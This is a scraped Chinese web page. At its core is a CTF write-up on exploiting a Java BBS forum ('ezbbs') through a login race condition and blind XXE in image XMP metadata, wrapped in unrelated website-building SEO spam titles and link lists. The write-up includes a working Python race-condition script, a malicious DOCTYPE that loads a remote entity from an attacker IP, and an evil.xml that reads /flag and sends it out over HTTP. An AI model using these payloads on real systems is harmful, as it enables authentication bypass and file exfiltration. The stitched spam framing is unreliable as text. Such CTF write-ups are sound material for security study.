当前位置: 首页 > news >正文

霍山有没有做建网站的网站建设安全协议

霍山有没有做建网站的,网站建设安全协议,无忧网,电子商务平台建设预算题目是一个BSS论坛#xff0c;如图 尝试注册发现注册未开放 题目给了jar包以及给了一个提示条件竞争绕过#xff0c;分析源码#xff1a; /register、/login接口都在com.my.bbs.controller.rest.BBSUserController 首先cacheUser是BBSUser类型的私有属性#xff0c;并且reg…题目是一个BSS论坛如图 尝试注册发现注册未开放 题目给了jar包以及给了一个提示条件竞争绕过分析源码 /register、/login接口都在com.my.bbs.controller.rest.BBSUserController 首先cacheUser是BBSUser类型的私有属性并且register.enablefalse默认不开启注册 Value(${register.enable}) private Boolean register_enable; private BBSUser cacheUser new BBSUser();在注册时cacheUser的LoginName、PasswordMd5属性都是先被set了值的然后是判断注册是否开启如果未开启register_enablefalse时LoginName、PasswordMd5即会被set为null置空。 在登录时登录成功的条件是cacheUser.loginName不为空并且传入loginName和password参数与cacheUser.loginName和cacheUser.passwordMd5相等。 所以登录这里就存在一个条件竞争绕过可以写个脚本一边不停的注册一边不停地登录在cache.loginName和cache.passwordMd5没有置空前成功登录获取Cookie。 登录的账号就用泄露的这个 import requests import threading import jsondef register(baseUrl):global loginSuccessFlagregisterUrl baseUrl /registerregisterData {loginName : adminqq.com, nickName : adminqq.com, password : mochu7777777, repass : mochu7777777}while not loginSuccessFlag:registerSession requests.session()registerResp registerSession.post(urlregisterUrl, dataregisterData)print(registerResp.text)def login(baseUrl):global loginSuccessFlagloginUrl baseUrl /loginloginData {loginName : adminqq.com, password : mochu7777777}while not loginSuccessFlag:loginSession requests.session()loginResp loginSession.post(urlloginUrl, dataloginData)resultCode json.loads(loginResp.text)[resultCode]if resultCode 200:print(loginResp.text)print(loginResp.headers)loginSuccessFlag Truebreakif __name__ __main__:baseUrl http://192.168.7.7:8888loginSuccessFlag Falsethreading.Thread(targetregister, args(baseUrl,)).start()threading.Thread(targetlogin, args(baseUrl,)).start()有时候可能要跑比较久条件竞争要耐心点 带上Cookie即可访问/userSet接口 登录成功后继续分析源码com.my.bbs.controller.common.UploadController中uploadFile接口 生成的文件名String newFileName SystemUtil.genFilenameByDate(file);方法在com.my.bbs.util.SystemUtil类中可以看到将上传的文件内容传给了com.my.bbs.util.FileUtil.getXmpMeta()处理。 很明显这是个处理图片中xmp数据的方法那么什么是图片XMP来看下GPT的解释 能够被解析猜测有可能就是考XXE了 继续跟进getXmpMeta()方法发现这里使用了xmpcore和metadata-extractor两个组件 然后把这个方法提取出来下个断点简单调试下分析下会经过哪些可能会造成XXE的地方 把ezbbs.jar包中的依赖解压出来然后加载进IDEA方便之后调试把两个组件的依赖也加进来 dependenciesdependencygroupIdcom.drewnoakes/groupIdartifactIdmetadata-extractor/artifactIdversion2.6.2/version/dependencydependencygroupIdcom.adobe.xmp/groupIdartifactIdxmpcore/artifactIdversion5.1.2/version/dependency/dependencies下个断点开始调过程很长大致就是从metadata-extractor跟到处理xml的xmlcore组件 跟进调试会来到com.adobe.xmp.impl.XMPMetaParser.parse()继续跟进查看处理xml数据的方法Document document parseXml(input, options); com.adobe.xmp.impl.parseXml() com.adobe.xmp.impl.parseXmlFromString com.adobe.xmp.impl.parseInputSource com.adobe.xmp.impl.XMPMetaParser 而这个factory就是下面这个 com.adobe.xmp.impl.createDocumentBuilderFactory() 到这里就很明显是DocumentBuilderFactory导致的XXE没有设置禁用外部实体。 明确了上传这里是会加载图片中的xmp数据解析造成XXE那么只需要找一张有xmp数据的图片这个PS随便生成一张JPG就行不要太大。并且注意不增加修改原来的字节数量只修改这一块原来的xmp数据且要保证原来结构完整。 没有回显的XXE引入一个远程实体开启HTTP监听把读取的数据外带出来 !DOCTYPE root [!ENTITY % remote SYSTEM http://10.10.1.67:8088/evil.xml %remote;]注意不要增加删除字节只在原来的基础上做修改并且后面补全完整的结构。 远程实体evil.xml !ENTITY % file SYSTEM file:///flag !ENTITY % evil !ENTITY #37; data SYSTEM http://10.10.1.67:8088/?flag%file; %evil; %data;然后将evil.jpg上传解析xmp数据触发引用这个远程实体加载读取/flag即可
http://www.huolong8.cn/news/73501/

相关文章:

  • 网站建设开源节流百度关键词规划师
  • 企业网站案例建设要求python做网站性能怎么样
  • 深圳制作网站有用吗大学两学一做专题网站
  • 湖南常德广宇建设网站做网站怎么制作
  • 深圳市网站建设哪家好做高端网站公司
  • 广东省建设工程协会网站做培训网站哪家好
  • 潍坊网站建设哪家专业长沙网页制作模板的网站
  • 做网站得先注册域名吗大连 网站开发
  • 公司域名备案网站名称做网站服务好
  • 承包酒席可以做网站吗网站流量少怎么办
  • 如何看网站点击量佛山新网站建设机构
  • 火车头采集做网站赚钱免费的个人简历模板excel
  • 珠海市住房和城乡建设部网站世界街景地图怎么退订
  • 游戏网站开发具备苍溪县规划和建设局网站
  • 广州哪家公司做网站如何做百度站长绑定网站
  • 制作网站得多少钱自己做视频网站流量钱
  • 创建销售网站多少钱百度快照投诉中心
  • 苏州网站优化维护沈阳市铁西区建设局网站
  • 做网站不给提供ftp一个网站多个域名 seo
  • 东营网站建设运营公司网站推广方式主要通过
  • 怎么找人做淘宝网站吗网站建设哪家服务态度好
  • 商城网站开发方案书深圳做网站服务公司
  • 东莞cms建站模板东莞建设专业网站
  • dedecms网站地图模板怎么wordpress访问目录
  • 南昌网站建设推广西安最新出行政策
  • 站长工具的使用seo综合查询运营代工平台
  • 深圳微信网站运营有没有专门做航拍婚礼网站
  • 推荐几个好的网站焦作关键词优化排名
  • 青岛公司网站建设开发三亚网页制作
  • asp.net 大网站赣州章贡区